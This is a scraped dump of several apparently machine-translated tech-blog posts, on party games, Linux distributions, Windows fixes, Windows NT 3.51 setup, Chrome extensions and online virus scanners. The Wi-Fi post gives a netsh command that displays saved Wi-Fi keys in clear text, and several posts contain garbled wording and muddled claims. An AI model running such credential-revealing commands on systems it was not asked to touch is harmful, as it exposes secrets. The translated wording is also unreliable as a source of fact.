buy 3 separate holiday sets, lasting from 2012 to 2014, and each set has 30 festive themed cards. In addition, this company donates all profits to charity.\nHowever, if you think Cards Against Humanity is too expensive, don't worry, you can print your own Cards Against Humanity.\n2. Heads Up!   Ellen DeGeneres has a game called Heads Up, often played in her program. This is a perfect game to spice up your holiday party. In this game, one side expresses everything by action, while the other side tries to guess what it is.\nHeads Up! Comes with a number of complete word sets, each with a unique main theme like animals or celebrities. You can download many other words for a nominal fee.\nA special free set of words called the Holiday Deck appeared around the beginning of December. The set is filled with popular holiday-themed songs, items, and characters. You can have the perfect vacation with the game Heads Up! this.\nYou can also build your own set of words for 99 cents (VND 23,000). If you need some ideas for creating holiday themed sets (not necessarily Christmas), try out other items and celebrations, or think of some winter themed words that say in common, like 'snowball fights' or 'hot cocoa' (hot cocoa).\nDownload Heads Up! for iOS ($ 0.99 / 23,000VND) | Heads Up! for Android (Free) 3. Tell a Holiday Tale   The purpose of this party game is to tell a group vacation story. Everyone stood up in a circle. The youngest begins with the first sentence of the story. Then, going clockwise, each person added one sentence after another.\nThe trick is you need to repeat what everyone said earlier. If someone forgets something, they will have to leave the game. The game continues until there is only one person left.\n4. Christmas Pictionary   Pictionary is a party game that is often played because it brings a lot of fun to people of all ages. This can also be a great option for Christmas parties.\nPictionary is similar to Charades, except that you illustrate words or phrases rather than describing them with action. People are divided into groups, giving a word or phrase to illustrate, and a minute to draw it. If the team guesses correctly, they get a point. The first team to win 20 points will win.\nSince holiday-themed Pictionary can be a bit vague, try focusing on some holiday season elements. For example, 'Christmas Carols ' (Christmas song song) can be an interesting topic. To illustrate, a team could draw bells with notes emanating from them to illustrate the word 'Jingle Bells' . Or draw an image of Earth with people smiling to symbolize the phrase 'Joy to the World' .\n5. 20 Questions   This party game requires no additional tools or materials, and anyone can join in the fun. It's also easy to make this game an interesting option for holidays.\nIn 20 Questions, you choose someone as your answer. Everyone else will be the one to ask. Respondents chose an Christmas theme (or certain holiday), but did not disclose this to others.\nRespondents take turns asking questions and respondents respond by saying yes or no.\nAfter 20 questions the object to guess is still a mystery, the respondent selects another object and repeats the question and answer process.\nFor respondents, the goal is to challenge those who ask with an unpredictable Christmas object. On the contrary, respondents want to ask questions so that they can narrow down and guess the object.\n6. Christmas Movie Trivia When it comes to holidays, everyone loves good Christmas movies. It is a habit for everyone.\nBut who is the most Christmas movie fan? The only way to determine that is through a quiz show! You will want to find some sample questions, like those from Holidappy (https://holidappy.com/holidays/Christmas-Movie-Trivia) or Trivia Questions (https://www.triviaquestionss.com/christmas- movie-trivia /). In addition, you can also create your own puzzles.\nTo play this game, divide everyone into two teams. Then ask the questions and ask the teams to guess the answers or choose an option from multiple choice options. Which team gets the correct answer? The team that finishes with the most points is the winner. The prize could be to choose a movie for everyone to enjoy.\n7. Human Christmas Tree   This game is the perfect choice for people to express their creativity. Divide into groups and assign someone from each group to be the tree. One will be selected as the referee.\nAfter that, the remaining people decorate the chosen person to become the most special festival tree possible. You can provide things to help with such as lights, jewelry, tinsel or use anything found in the room.\n8. Penguin Waddle   Remember the relay races you took at school? They always promote competitiveness in people. Such a winter themed race is sure to make your party more interesting.\nFirst of all, Penguin Waddle requires a bit of space, so make sure your party has enough room. Divide people into teams of 4, unlimited number of teams. Place some cones (or any other thing that can represent the marker) to indicate where to stop. They should be 15 to 25 feet away (4.5 to 8m) away.\nTo begin, ask the first player in each team to place a ball between his knees and then go to the destination. Once there, go back and give the ball to the next player. But if any member drops the ball, that team has to restart from the beginning.\nThe player's path is similar to the way a penguin moves. The first team to have all 4 players complete the relay is the winner.\n9. Gift Relay   Another option is the Gift Relay game. This game requires a minimum of 2 teams of 10 people each. Set 2 tables for each team, about 20 feet (3m) apart. Place 5 gifts (or empty boxes) on each table. Each team has 5 people at each table.\nThe player first receives a gift and takes it to the other side, then passes it on to the next member of the team. The next person takes another gift or box from their table and places it on the first gift. Then bring both gifts back to the other table. Ccuws like that, the third person put another gift on top and repeat the process. Do not drop any gifts, because then you will have to start over.\nThe Gift Relay ends when a group succeeds and brings all 10 presents back to the original table without dropping anything. Once again, this game needs a relatively large space, but will definitely bring many fun moments for the party.\n10. Two Truths and a Lie   This is a pretty interesting game and does not require too much preparation. The original game was the guests talking to each other (as the name of this game) 2 true statements and one lie.\nIn order for the game to bring the Christmas spirit to the party, let your guests think about Christmas gifts. Everyone has to think of 3 gifts. Two of these must be the actual gifts they have received, the other is a lie. The participants then tried to guess which gifts were not right.\nThis is a super simple party game and also a great way to eliminate the awkwardness among your guests.\nChristmas is coming and these games are definitely good to help bring to life all the boring parties.\nWhile these are some of my favorite games, they are not the only options. You can refer to: Good games on the phone for Christmas for more details.\nWish you find yourself the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kfnF5xa6lZp%2BRorK0ecWoqWabmKe2tMDMmqpmqJGnwbo%3D\n","link":"/post/10-fun-games-for-christmas-party/","section":"post","tags":null,"title":"10 fun games for Christmas party"},{"body":"It can be said that Linux is not a complete operating system, it is just a kernel operating system, which is the foundation for developing other operating systems.Operating systems based on Linux kernel are called Linux distributions.Developers will combine Linux kernel and other free software to create complete operating systems.There are many different Linux distributions that are widely used in the world.\nIf you want to \"install Linux\", you will need to choose a distribution.You can also use Linux From Scratch to compile and build your own Linux system from the beginning, but it's a complicated and time-consuming task.\nUbuntu   \nUbuntu is probably the most famous Linux distribution.Ubuntu is based on Debian, but it has its own software repository.Most software in these repositories is synchronized from the Debian archive.\nThe Ubuntu project focuses on providing users with a desktop experience (and server).Ubuntu is not afraid to build its own custom technologies to realize that goal.Ubuntu was originally developed for the GNOME 2 desktop environment, but now it uses its own Unity desktop environment.Ubuntu even builds its own Mir graphics server while other distributions are only active on Wayland.\nUbuntu is a modern distribution, constantly improving but still retaining its own identities.Ubuntu releases updates every six months, along with major updates, more stable and long-term support delivered to users every two years.Ubuntu is currently working hard to expand its influence on smartphones and tablets.\nLinux Mint   \nMint is a Linux distribution built on Ubuntu.It uses Ubuntu's repositories, so similar software will be available and available on both distributions.Initially, Mint was a favorite alternative distribution mainly because it included media codecs (media codecs) and proprietary software that Ubuntu did not provide by default.\nThis distribution currently also has its own identity.You won't find Ubuntu's Unity desktop anymore, instead, you'll get a more traditional Cinnamon or MATE screen.Mint takes a more relaxed approach to releasing software updates and will not automatically install important software updates.However, this is also a controversial issue, making some Ubuntu developers think it is not safe.\nDistinguish Ubuntu and Linux Mint Debian   \nDebian is an operating system that only includes free open source software.The Debian project has been operating since 1993, ie about 25 years ago!This project has been highly respected in the community of developers since its inception.So far, Debian has been releasing new versions regularly, but unfortunately, these new versions are updated by Debian much slower than distributions like Ubuntu or Linux Mint.This can make it more stable and conservative and contains ideal elements for some systems.\nUbuntu was originally set up to take Debian's stable core bits and make them faster, optimizing the software together into a user-friendly and updated system more often.\nFedora   \nFedora is a project that focuses primarily on free software.You will be hard pressed to find an easy way to install proprietary graphics drivers on Fedora, although third-party repositories are always available.Fedora is still being developed and optimized.\nUnlike Ubuntu, Fedora does not create its own working environment or other software.Instead, the Fedora project uses 'upstream' software, which provides a platform that integrates all of these software without adding custom tools.Fedora also comes with the GNOME 3 desktop environment by default, and you can also use Fedora with other desktop environments.\nFedora is sponsored by Red Hat and is the foundation for the commercial Red Hat Enterprise Linux project.Unlike RHEL, Fedora is capable of not being supported for a long time.If you want a more stable release that is supported longer, Red Hat recommends that you use their Enterprise product.\nCentOS / Red Hat Enterprise Linux   \nRed Hat Enterprise Linux is a commercial Linux distribution for servers and workstations.It was developed based on the Fedora open source project, but was designed to be a stable platform with longer-term support.\nRed Hat uses trademark protection laws to prevent their official Red Hat Enterprise Linux software from being redistributed illegally.However, the core software is free and open source, and CentOS appears.CentOS is a community project that takes the code of Red Hat Enterprise Linux, deleting all Red Hat brands and is provided as well as distributed for free.In other words, this is a free version of RHEL, so it would be appropriate if you want a stable platform to be supported for a long time.CentOS and Red Hat recently announced they are collaborating, so CentOS is now part of Red Hat.\nopenSUSE / SUSE Linux Enterprise   \nopenSUSE is a community-developed Linux distribution and is sponsored by Novell.Novell bought SuSE Linux in 2003 and they still create an enterprise Linux project called SUSE Linux Enterprise.While Red Hat has a Fedora project provided for Red Hat Enterprise Linux, Novell has the openSUSE project provided to SUSE Linux Enterprise.\nLike Fedora, openSUSE is a more powerful version of Linux.SUSE was once one of the most user-friendly Linux distributions for users, but in the end, Ubuntu compared it.\nMageia / Mandriva   \nMageia is a branch of Mandriva Linux created in 2011. Mandriva is known as the previous Mandrake name.It has also been one of the most user-friendly Linux distributions.\nLike Fedora and openSUSE, this is a community-developed project to create an open-source Linux distribution.Mandriva SA no longer supports desktop Linux distributions, but their enterprise Linux server projects are still based on Mageia code (like Fedora and openSUSE provide code for businesses of they).\nArch Linux   \nArch Linux can be considered the 'senior' of other Linux distributions on this list.It is designed to be flexible, compact, as simple as possible.Keeping it simple doesn't mean that Arch provides many graphic utilities and automated configuration scripts to help you set up your system.Instead, it means that Arch gives you the tools for you to 'treat yourself'.\nYou will be responsible for configuring your system properly and freely installing the software you like.Arch does not provide a formal graphical interface for package managers or complex graphical configuration tools.Instead, it provides clean configuration files designed to be easily editable.When installing, you will need to enter the appropriate commands in the terminal to manually configure the system, partition and install the operating system.\nArch uses a model called \"rolling release\", which means that any installed image is just a snapshot of the current software.Each bit of the software will be updated from time to time, you do not need to upgrade to the new release of Arch.\nThis distribution has one thing in common with Gentoo.These are two capital distributions that are popular at the same time.Both Linux distributions are designed for users who know how their systems work or at least they are willing to learn new things.However, Arch uses binary packages while Gentoo focuses on compiling each software from the source.This means that installing the software on Arch will be faster because you don't have to spend a lot of time waiting for the software to be translated again.\nSlackware Linux   \nSlackware was launched in 1993 and the oldest Linux distribution is still maintained and offers regular new releases.\nLike Arch, Slackware distributes all unnecessary graphic tools and automated configuration scripts.Without the graphical installation process you will have to partition the disk manually and then run the installation program.Slackware starts the command line environment by default.This is a very conservative Linux distribution.\nPuppy Linux   \nPuppy Linux is a quite famous Linux distribution.Previous versions of Puppy Linux were built on Ubuntu, but the latest version was developed from Slackware.Puppy Linux is designed to be a small, lightweight operating system that can run well on very old computers.Puppy Linux's ISO file is 161 MB in size.Puppy Linux can run on computers with only 256 MB of RAM, although it is recommended to use it on computers with at least 512 MB of RAM for the best experience.\nPuppy is not the most modern distribution and does not have all the features of 'big bang' but it can help you revive an old PC system.\nSee more:\n7 commands to manipulate the most basic files and folders everyone must know Basic Linux commands everyone needs to know How to install and use Kali Linux on VmWare virtual machine Basic Shell commands in Linux ncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWknbJuuc6sq2aon6XCra3RZqOipqWteqW10q2popqlqbawutJmq6icka4%3D\n","link":"/post/compare-the-most-popular-linux-distributions-today/","section":"post","tags":null,"title":"Compare the most popular Linux distributions today"},{"body":"Evolvation is an attractive space war game. In the game the player will be transformed into the Captain to master the command of modern and massive space spacecraft.\nIn Evolvation, spacecraft is divided into categories such as Highspeed, Fighter, Stealth, Support and Tank. Each category is equipped with its own weapon system, which determines the skills that players use for their spacecraft.\nEvolvation has a gameplay style similar to World of Warships and bears the influence of war games.\n  Currently, the Evolvation game is being given away for Steam by developer HyperReuts for a short time. If you love the universe war game genre, you can follow the instructions below to be able to own it without spending a dime.\nHow to get free Evolvation\nStep 1: Create a Steam account (if you do not have a new account).\nhttps://store.steampowered.com/login/?redir=\u0026amp;redir_ssl=1\nStep 2: Log in to Steam.\nStep 2: Click on the link below to access the Evolvation homepage game on Steam.\nEvolvation on Steam\nB3: Click the Install Game button.\n  If the Success message appears as shown below, you have permanently owned Evolvation.\n  See more:\nSuper Mario Bros. \"Island break\" player For nearly 5 minutes, set a new world record Project Stream, playing every blockbuster game right on the Chrome browser, does not need a terrible computer The mystery of the strange game appeared on Google.com without anyone knowing the author or time appeared ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdmsOwuNWaq6KnnmLBqbGMrqOtoZ2WwaZ51Kegr52iqLJuw8CrZKCZnZp6tbTArWSiq12bv6axjKilZqukmq6u\n","link":"/post/download-evolvation-the-ultimate-universe-war-game-that-is-free-on-steam/","section":"post","tags":null,"title":"Download Evolvation - the ultimate universe war game that is free on Steam"},{"body":"The following article will guide you how to fix 0x100000ea: THREAD STUCK IN DEVICE DRIVER M for Windows XP, Vista, 7, 8, 8.1 or 10 operating systems.\nFix 0x100000ea error (THREAD STUCK IN DEVICE DRIVER) About error 0x100000ea Describe The cause of error 0x100000ea: THREAD STUCK IN DEVICE DRIVER M  Fix 0x100000ea error on Windows Fix 1: Reinstall the video driver Remedy 2: Set Hardware Acceleration option to None Remedy 3: Replace the video card  About error 0x100000ea Describe The following error or warning messages are related to this error.\nNếu muốn muốn biết thêm, bạn có thể tìm kiếm online sau để này lỗi: THREAD STUCK IN DEVICE DRIVER M\n  The 0x100000ea error is encountered when the video hardware device driver falls into an infinite loop and Windows must terminate it and stop the boot process.\nThe cause of error 0x100000ea: THREAD STUCK IN DEVICE DRIVER M The most common cause of this error is an outdated or outdated device driver. In addition, this error may appear after updating drivers or installing Windows.\nFix 0x100000ea error on Windows Fix 1: Reinstall the video driver Because 0x100000ea error is usually caused by video hardware, the video driver may not be compatible with the version of Windows in use.\nMake sure the Windows version you are using has the correct driver for the video hardware and driver version that is compatible with the Windows version.\nTo update the driver, follow these steps:\n1. Click the Start menu .\n2. Enter devmgmt.msc in the search box and click devmgmt or Device Manager.\n  \n3. Right-click the driver.\n4. Click Update.\nRemedy 2: Set Hardware Acceleration option to None Setting the Hardware Acceleration option to None can fix this error. However, if you do so, you can make the video card's function and performance decrease.\nFollow these steps:\n1. Click the Start menu .\n2. Enter display in the search box.\n3. Select Display from the list .\n4. Go to Change Display Settings section .\n5. Click Advanced Settings.\n6. Go to the Troubleshoot section .\n7. Click Change Settings.\n8. Drag the Hardware Acceleration slider to None.\n9. Click OK.\n10. Restart the computer.\n  Remedy 3: Replace the video card Since the 0x100000ea error is caused by a video device or driver for that device, try replacing the new video card for the computer and see if the error is resolved.\n  Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWVp7%2Bwvoxpr2poYGV9cbHAZquhqpWWsW6%2F066apGWZo3qlsdWimp5llKe2t7HRZqRmoZ5ixKq6w6iurA%3D%3D\n","link":"/post/fix-the-error-0x100000ea-thread-stuck-in-device-driver-m-in-windows/","section":"post","tags":null,"title":"Fix the error 0x100000ea (THREAD STUCK IN DEVICE DRIVER M) in Windows"},{"body":"Google Maps is a widely used mapping application with high accuracy. One advantage of Google Maps is that we can use Google Maps on different platforms, from computers to mobile devices.\n  1. How to download Google Maps offline on Android phones Step 1: Open the Google Maps application and touch the icon 3 dashes (1) in the left corner of the screen. Then you select the Offline map item (2) .\n  Step 2: Tap on Choose your own map =\u0026gt; Sign in with your Google account.\n  Step 3: After logging in successfully, you zoom in and out of the map selection (1) and click Download  (2) .\n  Step 4: After downloading the map, we will rename the map to distinguish between cities. You touch the 3 dots (1) of the newly downloaded map =\u0026gt; Rename (2) . Then you name a new (3) and click Save  (4) to finish.\n  Step 5: After completing the basic steps, we adjust advanced settings such as manually updating the map . You touch the Settings icon (1) =\u0026gt; Turn on automatic updating offline maps and automatically Download offline maps  (2) so your data is always up to date. After that, we touch the Download option  (3) and select Only via WiFi  (4) to save 3G / 4G data in case we use a data-limited data plan. After completing the above steps, please turn off the network and use the offline map.\n  2. How to download Google Maps offline on iPhone Step 1: Open Google Maps and touch the icon 3 dashes (1) =\u0026gt; Offline map  (2) .\n  Step 2: Select Sign in to download  (1) =\u0026gt; Continue  (2) =\u0026gt; Sign in with your Gmail account (3) .\n  Step 3: You choose the Custom Map item  (1) . Then select the map area to save (2) and click Download  (3) .\n  Step 4: After downloading the offline map, we must name the map to easily identify regions and cities. You choose Custom Maps  (1) =\u0026gt; select the pen icon (2) =\u0026gt; rename the map (3) =\u0026gt; Save  (4) .\n  Step 5: After completing the basic settings, we can start to complete the advanced settings by touching the Settings icon (1) . Offline map update items you should set to Automatic  (2) to keep your map data up to date. Item Time to download the map offline, we should leave only over Wifi  (3) to save 3G / 4G data because the map data pack has a high capacity. After completing the above steps, please turn off the network and use the offline map to see if they work properly.\n  Offline maps on Google Maps are saviors when you have to move to areas with poor 3G / 4G coverage or run out of 3G / 4G data on your phone. If the article is useful to you, please leave a comment and feedback in the comment section below the article! Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKCnn5y5pnnMmqesZaSkerq71KtkqaCfo7Juss6rZKielqG2r7GMrqqeZaeewam71K1knKeeqMKutc2gZGyfXaS%2FboDG\n","link":"/post/how-to-download-google-maps-to-your-phone-for-offline-use-without-consuming-3g-or-4g/","section":"post","tags":null,"title":"How to download Google Maps to your phone for offline use, without consuming 3G or 4G"},{"body":"To help users more convenient in communication, the contact list on the phone can be easily exported to other users or devices. For example, you can export contacts from iPhone to Gmail or transfer contacts from iPhone to Android . And in this article, we will learn more about exporting contacts from iPhone to Windows 10 computer. You can search right on Windows computer, without any other Apple device. The following article will guide you how to export contacts from iPhone to Windows 10.\nInstructions to sync iPhone contacts to Windows 10 Step 1:\nAt the main interface on iPhone we click on the Settings , then select your name at the top and then click on the item iCloud . Then we turn on the synchronization mode on the iPhone contacts via iCloud .\nStep 2:\nYou access iCloud on Windows 10 computer by following the link below and enter the Apple ID to login .\nhttps://www.icloud.com/  Next, click on Contacts to view the contacts list that has been synchronized before.\n  Step 3:\nIn the screen showing contact names, if you want to export a phone number, click the gear icon and select Export vCard in the menu that appears.\nIf you want to select multiple phone numbers we click on a contact, then hover over the last phone number you want to export, press and hold the Shift key and click on the last phone number name. Click the gear icon and choose Export vCard.\n  Step 4:\nVCF file directory is downloaded and we right click on the file and select Open to open. Display the list to select Outlook, People application or Windows Contact to open the contact file.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2opbyzwIyip6Gnnpp6pLvNrZicrKNiwbB51qKlnaenqHpyfA%3D%3D\n","link":"/post/how-to-export-iphone-contacts-to-windows-10/","section":"post","tags":null,"title":"How to export iPhone contacts to Windows 10"},{"body":"However, if you want to insert emoji in Word, emoticons, we don't immediately have the option to use emoji panel on Windows 10. Windows 10 emoji panel also has many unique themes for us to use. .\nAnd you can insert emoji in any content, even in Word. With such colorful emojis, Word documents are much richer. The following article will guide you to read how to insert emoticons into Word.\nHow to insert emoji in Word To insert emojis, we will first open the emoji panel on the computer. On Windows, press Windows +. Or you can use another combination. There are also other types of emojis, you can follow in the article How to open emoji, write special characters on Windows 10 very quickly.\nOn a Mac, press Control + Command + Space. On the iPhone, iPad and Android we will use emoji on the keyboard.\nOnce you have the emoji panel displayed, you can enter keywords for faster search. The result will have multiple emoji according to the theme you selected.\n  When inserting emoticons into Word, we can enlarge the emoji size like how to adjust the text size in Word, depending on the content you're composing.\n  Emoji insert in addition to resizing can also change emoji to another color . For each different platform, operating system, the emojis are also different.\n  insert emoji in word ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIyepKiimWK2r3nWqKmdZZmjwKa%2B02acpqeknrCwutJmoKesn2LEsL7D\n","link":"/post/how-to-insert-emoji-in-word-insert-emoticons-into-word/","section":"post","tags":null,"title":"How to insert emoji in Word, insert emoticons into Word"},{"body":" Windows NT 3.51 is a closed source operating system from Microsoft that was based on the same architecture as Windows 3.1, but not on the MS-DOS platform. It was released on 30th May 1995 and support was stopped for it as of 31st December...\nPart 1of 3:\nBefore Installation Insert the floppy disk into the computer.\n Start the computer.\n Part 2of 3:\nInstallation  Insert the 2nd floppy disk and press Enter.\n  Press ↵ Enter.\n  Choose which setup method you would like to use. All down to personal preference but the 'Express Setup' was used for this tutorial.   Insert the 3rd floppy disk and press Enter.\n  If you have any hardware that requires a separate installation, insert the disk for that hardware and press S else press ↵ Enter. You will be able to install the hardware at a later date if you cannot find the installation disk for that hardware there and then.   Choose whether to install from a CD-ROM or floppy disk. This is all down to personal preference but the CD was chosen in this tutorial.   Press C to continue.\n  Choose which partitioning to install Windows on by using the arrow keys then pressing ↵ Enter. For this tutorial, we only have the unpartitioned space so we'll select that.   Select which file system you would like to format the hard drive as using the arrow keys and press ↵ Enter.. All down to personal preference but NTFS was chosen in the tutorial. Formatting it as FAT will make it easier to transfer files to and from Windows 9x systems.   Select where to install Windows and press ↵ Enter. Normally, it is recommended to install Windows in the location Windows recommends.   Remove any floppy disks inserted into the computer and press ↵ Enter to restart the computer. If you have the setup CD inserted into the computer, leave it in.   Make sure \"Windows NT Workstation Version 3.51 is highlighted and press ↵ Enter. It may choose the operating system without your consent at this point (options appear on screen for less than a second in some cases). This is nothing to worry about.   Type in your Name and (optional) a Company name and either click Continue or press ↵ Enter.\n  Confirm that the details you typed in are correct and then click Continue.\n  Type in a 'Computer Name' and click Continue. Type any name as long as it is different to your Name and Company.   Confirm that the Computer Name you typed in is correct and click Continue.\n  Choose your language from the drop box and click Continue.\n  Set up your printer if required. If there is a printer attached to your computer, this page is dedicated to getting it set up. In this tutorial, no printer was connected so Cancel was pressed. You can setup a printer at any time.   Click OK to continue.\n  If you want to have a network connection, insert a network adapter into the computer and click Detect. In this tutorial, no network cards were inserted into the computer so Continue was clicked.   To install a remote network, click Remote. For this tutorial, Continue was selected.   If you have a network adapter card installed on the computer, select the appropriate card from the drop down menu and click Continue. There was no network adapter installed in this tutorial so No Network was clicked.   Click OK to not install a network otherwise click Cancel.\n  Type in your password and confirm your password and then click Continue.\n  Choose to create a 'local account' if desired. To do so, fill in the fields below and click Continue. A local account was not setup in this tutorial so Cancel was clicked. You can make a local account at a later date.   Click OK if you don't want to set up a 'local account otherwise click Cancel.\n  If confronted with this message about \"EDIT.COM\", make sure to highlight \"MS-DOS Editor\" and click Continue.\n  Ensure the Date and Time are set correctly and click OK.\n  Click OK to continue.\n  Ensure all your display settings are correctly set and click OK.\n  Create an Emergency Repair disk if desired. If your computer becomes inoperable due to software problems, the Emergency Repair disk can be inserted into your computer and attempt to fix problems. No Emergency Repair disk was created in this tutorial so No was clicked. There is no guarantee that the Emergency Repair disk will solve all problems.   Remove all floppy disks from the computer and click Restart Computer. If you have a installation CD inserted into the computer, leave this in.   Ensure \"Windows NT Workstation Version 3.51\" is highlighted and press Enter.\n  Ensure \"Windows NT Workstation Version 3.51\" is highlighted and press Enter.\n  Press the Ctrl + Alt + Del keys.\n  Type in your 'Username' and 'Password' and click OK. If you didn't create a local account, use the username \"ADMINISTRATOR\" and type in your password.   Setup is now complete. Enjoy all the Windows NT 3.51 has to offer.\n Part 3of 3:\nShutting Down  Click File.\n  Click Shutdown...\n  Ensure the \"Shutdown\" box has been selected and click OK.\n  Turn off your computer from either the power button or from the plug.\n  Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmrqKmlKTEtHnNrWRsbWE%3D\n","link":"/post/how-to-install-windows-nt-3-51/","section":"post","tags":null,"title":"How to Install Windows NT 3.51"},{"body":"You have forgotten the Wi-Fi password that your computer is connected to, so how can I know the Wi-Fi password? Good news for you because this article will help you see the Wi-Fi connected password on\u0026nbsp; Windows 10 \u0026nbsp;quickly and simply.\nStep 1: Right-click on the Wifi icon on the Taskbar\u0026gt; Select Open Network \u0026amp; Internet settings.\n  Step 2: Select Status\u0026gt; Select Network and Sharing Center.\n  Step 3: Select the Wifi you are connecting to in the Connections section.\n  Step 4: Select Wireless Properties.\n  Step 5: Select Security\u0026gt; Select Show characters\u0026gt; Then you will see the password in the Network security key.\n  Step 1: Press the key combination Windows + R.\nStep 2: Enter 'ncpa.cpl'\u0026gt; Click OK.\n  Step 3: Select Wi-fi.\n  Step 4: Select Wireless Properties.\n  Step 5: Select Security\u0026gt; Select Show characters\u0026gt; Then you will see the password in the Network security key.\n  Step 1: Select the Search icon\u0026gt; Type 'windows powershell'\u0026gt; Select Windows PowerShell application.\n  Step 2: After the window appears, type the command 'netsh wlan show profile' to display the Wi-Fi you have connected to.\n  Step 3: Type the command netsh wlan show profile 'wifi name' key = clear to know the password of the wifi to find\u0026gt; The Key Content section displays the Wifi password you need to find.\n  The article has instructed you how to view the Wifi password on your computer quickly, hopefully after consulting the article you can see the Wifi password you want.\nThank you for viewing the article, see you in the next posts.\nview wifi password ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnVopywZaees6p5z5qqrK%2Bfp7G0ec6nZLChnpm8uL%2BMamc%3D\n","link":"/post/instructions-on-how-to-view-wi-fi-passwords-on-windows-10/","section":"post","tags":null,"title":"Instructions on how to view Wi-Fi passwords on Windows 10"},{"body":"   Network administrators - Google recently released a series of extensions for Google Chrome, bringing the total number of Chrome extensions to over 300. Some of Google's Chrome browser add-ons can increase productivity, some with can increase entertainment for users.\nAs a beta project, extensions appear with caveats from Google. Until now, Google currently supports extensions in the latest beta version of Chrome, so if you like to get a stable and official browser, you have to give up the add-on tools. this time. There is a problem with Chrome version that supports extensions, named \"Beta Channel\" version, which only works on Windows XP and Vista, does not work on Windows 7, but Google has promised that those extensions will Soon working on Chrome for Mac version.\nSome add-ons of Google's Chrome browser can increase productivity, some may increase the user's ability to entertain. Here are the add-ons among them:\nWeb of Trust (WOT)\nWeb of Trust can alert users about risky websites that are trying to harm visitors, distribute malware and send spam. WOT community performs scanning of websites. The danger level of websites is continuously updated by millions of WOT community members and from many other trusted sources.\nOne interesting thing about WOT is that it does not lock the site to users, but it allows users to view it with images and know when they are venturing into dangerous areas.\nXmarks Bookmark Sync\nXmarks is one of the most popular 'bookmark' tools. It allows users to backup their bookmarks and allows them to synchronize them via computers and browsers - Firefox, Safari, IE and now Chrome. Xmarks allows users to control which bookmarks will be synced with any computer, allowing them to keep their bookmarks secret at home while syncing everything to a computer working at the office.\nShareaholic for Google Chrome\nThe Chrome extension library offers many options for integrating web content with social networking sites like Twitter or Facebook. Shareaholic is an extension of the same type.\nUsers may find it interesting because this tool supports many popular social networks like Twitter, Facebook, Digg, Reddit, LinkedIn, etc. but it also integrates with Gmail, Yahoo and has the ability to customize. high.\nShare, save or email the page you visit on Twitter, Facebook, Gmail, Google Reader, etc. Also, you can share your videos, blogs and photos.\nLastPass for Chrome\nLastPass is an online password manager and form filler that not only helps you manage a large number of passwords for social networks and other websites but also helps you to protect them securely.\nThis extension allows you to import from well-known password archives like Roboform, KeePass, PasswordSafe, MyPasswordSafe, Sxipper, TurboPasswords, PassPack, or Firefox and IE password managers, as well as export them. It has the ability to capture passwords for forms that are unlike AJAX.\nSensitive data is encrypted internally before being uploaded so anyone who wants to plug in your information cannot access it. One-time passwords and screen keyboards are also very effective in protecting your password list.\nIE Tab\nBecause some Windows only work with Internet Explorer, Chrome's IE Tab extension allows you to run IE from within a Chrome tab, from which you can display your favorite pages within Chrome. You can also configure the extension so that it can automatically switch to IE tab for some URLs you specify.\nCooliris\nCooliris gives you quick access to photos and videos. Instead of having to click through multiple photo pages and wait for each render page, you can scroll through an endless 3D Wall to search for photos and videos on Google, YouTube, Flickr, Picasa, Facebook, .\nAlso you can search online retailers. Cooliris Channels allows you to access multiple videos and movies from Hulu, CBS, Fox, Sony . You can customize your settings and share Cooliris with friends on Facebook, .\nShowIP\nThis extension is as simple as its name, ShowIP lets you check the IP address provided to you by the ISP.\nMakeGadget\nMakeGadget allows you to get a URL and can access it through a simple pop-up like gadget. This method is really useful if you have a mobile web application that you want to use on your desktop browser. MakeGadget uses the HTML5 database to remember the last URL you entered.\nRandomMagic\nRandomMagic is a decision support tool. It adds three small applications: coin flipper, dice roller and random number generator. When faced with a solution where you can't decide, let RandomMagic do that for you.\nJamendo Radio\nThis extension adds a radio player to play music from www.jamendo.com. Jamendo stores a lot of music under subscriptions, so if you want to support DRM-free songs, Jamendo is a place you need to visit.\nA pop-up will list the configured channels, although you can still configure the channels yourself. To configure, click the name; while the radio is turned on, a pop-up will display the control task like / Pause, Stop, Next and volume control.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjGpnZpqVqMFusdetnKermaS7tHnOn2Sgp5%2BcuaZ5wqGpqKWVYrOwvoywpqujXZa7pXnEp6ueqqSWtq%2B5xKer\n","link":"/post/the-10-best-extensions-of-google-chrome-for-work-and-entertainment/","section":"post","tags":null,"title":"The 10 best extensions of Google Chrome for work and entertainment"},{"body":"If your computer does not have antivirus software installed or only uses one software on your computer that is not safe, try to scan for viruses online with dozens of famous antivirus software. The advantage of online antivirus support website is that you do not need to install software, you just need an Internet connection. It integrates with an optimal virus removal tool and a variety of viruses. However, this site only helps you to remove viruses on your data file or on the website you are visiting.\n1. Scan for viruses online at: https://www.virustotal.com/ - Virustotal.com is the most popular website today, it supports 28 languages ​​including Vietnamese, which helps users easily manipulate.\n- Virustotal.com supports scanning most file formats and file sizes up to 128MB.\n- Virustotal.com is currently the most popular because it supports 55 file and 66 virus scanners on url.\n- Using Virustotal is quite simple:\n+ Access to the web via the link: https://www.virustotal.com/ -\u0026gt; the web interface displays click Upload and Scan File:\n  + Select the path to the file to be scanned -\u0026gt; Open:\n  + Virustotal results have been scanned on your file with 66 scanners and contain no threats:\n  - If you want to scan for viruses on websites you want to access, click on the Url tab and do the same.\n2. Scan online viruses at: http://www.virscan.org/ - Viruscan.org only supports scanning files with a maximum file size of 20 MB, does not support Url scanning .\n- Viruscan.org supports file scanning with 39 scanners.\n- Using Viruscan.org Very simple, access the link: http://www.virscan.org/ -\u0026gt; the web interface displays and click Choose file to select the file to be scanned -\u0026gt; Scan:\n  3. Scan online viruses at: https://online.drweb.com/?url=1 - Drweb.com is a famous antivirus firm in Russia.\n- Drweb.com supports scanning both files and Url in which the file size up to 10 MB.\n- To access Drweb.com to scan file, click the link: https://online.drweb.com/\n- To access Drweb.com to scan the url click the link: https://online.drweb.com/?url=1\n- Example of 